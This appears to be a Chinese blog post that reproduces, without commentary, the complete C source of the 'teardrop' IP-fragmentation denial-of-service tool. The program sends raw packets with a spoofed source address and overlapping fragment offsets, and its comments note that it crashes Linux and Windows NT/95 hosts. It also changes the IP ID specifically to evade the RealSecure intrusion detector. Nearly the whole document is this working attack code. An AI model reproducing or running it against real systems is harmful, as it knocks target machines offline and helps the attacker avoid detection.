IP碎片攻击例子2

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <netdb.h>
  6. #include <netinet/in.h>
  7. #include <netinet/udp.h>
  8. #include <arpa/inet.h>
  9. #include <sys/types.h>
  10. #include <sys/time.h>
  11. #include <sys/socket.h>
  12. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  13.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  14. #define FIX(n)  (n)
  15. #else                   /* OpenBSD 2.1, all Linux */
  16. #define FIX(n)  htons(n)
  17. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  18. #define IP_MF   0x2000  /* More IP fragment en route */
  19. #define IPH     0x14    /* IP header size */
  20. #define UDPH    0x8     /* UDP header size */
  21. #define PADDING 0x1c    /* datagram frame padding for first packet */
  22. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  23. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  24.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  25.                          */
  26. void usage(u_char *);
  27. u_long name_resolve(u_char *);
  28. u_short in_cksum(u_short *, int);
  29. void send_frags(int, u_long, u_long, u_short, u_short,long);
  30. int main(int argc, char **argv)
  31. {
  32.     int one = 1, count = 0, i, rip_sock;
  33.     u_long  src_ip = 0, dst_ip = 0;
  34.     u_short src_prt = 0, dst_prt = 0;
  35.     struct in_addr addr;
  36.     long ip_mf;
  37.     fprintf(stderr, "teardrop   route|daemon9//n//n");
  38.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  39.     {
  40.         perror("raw socket");
  41.         exit(1);
  42.     }
  43.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  44.         < 0)
  45.     {
  46.         perror("IP_HDRINCL");
  47.         exit(1);
  48.     }
  49.     if (argc < 3) usage(argv[0]);
  50.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  51.     {
  52.         fprintf(stderr, "What the hell kind of IP address is that?//n");
  53.         exit(1);
  54.     }
  55.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  56.     {
  57.         switch (i)
  58.         {
  59.             case 's':               /* source port (should be emphemeral) */
  60.                 src_prt = (u_short)atoi(optarg);
  61.                 break;
  62.             case 't':               /* dest port (DNS, anyone?) */
  63.                 dst_prt = (u_short)atoi(optarg);
  64.                 break;
  65.             case 'n':               /* number to send */
  66.                 count   = atoi(optarg);
  67.                 break;
  68.             default :
  69.                 usage(argv[0]);
  70.                 break;              /* NOTREACHED */
  71.         }
  72.     }
  73.     srandom((unsigned)(time((time_t)0)));
  74.     if (!src_prt) src_prt = (random() % 0xffff);
  75.     if (!dst_prt) dst_prt = (random() % 0xffff);
  76.     if (!count)   count   = COUNT;
  77.     fprintf(stderr, "Death on flaxen wings://n");
  78.     addr.s_addr = src_ip;
  79.     fprintf(stderr, "From: %15s.%5d//n", inet_ntoa(addr), src_prt);
  80.     addr.s_addr = dst_ip;
  81.     fprintf(stderr, "  To: %15s.%5d//n", inet_ntoa(addr), dst_prt);
  82.     fprintf(stderr, " Amt: %5d//n", count);
  83.     fprintf(stderr, "[ ");
  84.     ip_mf = 0x2000;
  85.     for (i = 0; i < COUNT; i++)
  86.     {
  87.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
  88.         fprintf(stderr, "b00m:%x ",ip_mf);
  89.         usleep(500);
  90. ip_mf += 0x10;
  91.     }
  92.     fprintf(stderr, "]//n");
  93.     return (0);
  94. }
  95. /*
  96. *  Send two IP fragments with pathological offsets.  We use an implementation
  97. *  independent way of assembling network packets that does not rely on any of
  98. *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  99. */
  100. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  101.                 u_short dst_prt, long ip_mf)
  102. {
  103.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  104.     u_char byte;                            /* a byte */
  105.     struct sockaddr_in sin;                 /* socket protocol structure */
  106.     sin.sin_family      = AF_INET;
  107.     sin.sin_port        = src_prt;
  108.     sin.sin_addr.s_addr = dst_ip;
  109.     /*
  110.      * Grab some memory for our packet, align p_ptr to point at the beginning
  111.      * of our packet, and then fill it with zeros.
  112.      */
  113.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  114.     p_ptr  = packet;
  115.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  116.     byte = 0x45;                        /* IP version and header length */
  117.     memcpy(p_ptr, &byte, sizeof(u_char));
  118.     p_ptr += 2;                         /* IP TOS (skipped) */
  119.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  120.     p_ptr += 2;
  121.     /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
  122.     *((u_short *)p_ptr) = htons(666);   /* IP id */
  123.     p_ptr += 2;
  124.     *((u_short *)p_ptr) |= FIX(ip_mf);  /* IP frag flags and offset */
  125.     p_ptr += 2;
  126.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  127.     byte = IPPROTO_UDP;
  128.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  129.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  130.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  131.     p_ptr += 4;
  132.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  133.     p_ptr += 4;
  134.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  135.     p_ptr += 2;
  136.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  137.     p_ptr += 2;
  138.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  139.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  140.                 sizeof(struct sockaddr)) == -1)
  141.     {
  142.         perror("//nsendto");
  143.         free(packet);
  144.         exit(1);
  145.     }
  146.     /*  We set the fragment offset to be inside of the previous packet's
  147.      *  payload (it overlaps inside the previous packet) but do not include
  148.      *  enough payload to cover complete the datagram.  Just the header will
  149.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  150.      *  better.
  151.      */
  152.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  153.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  154.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  155.     *((u_short *)p_ptr) = FIX(MAGIC);
  156.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  157.                 sizeof(struct sockaddr)) == -1)
  158.     {
  159.         perror("//nsendto");
  160.         free(packet);
  161.         exit(1);
  162.     }
  163.     free(packet);
  164. }
  165. u_long name_resolve(u_char *host_name)
  166. {
  167.     struct in_addr addr;
  168.     struct hostent *host_ent;
  169.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  170.     {
  171.         if (!(host_ent = gethostbyname(host_name))) return (0);
  172.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  173.     }
  174.     return (addr.s_addr);
  175. }
  176. void usage(u_char *name)
  177. {
  178.     fprintf(stderr,
  179.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]//n",
  180.             name);
  181.     exit(0);
  182. }
  183.  

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值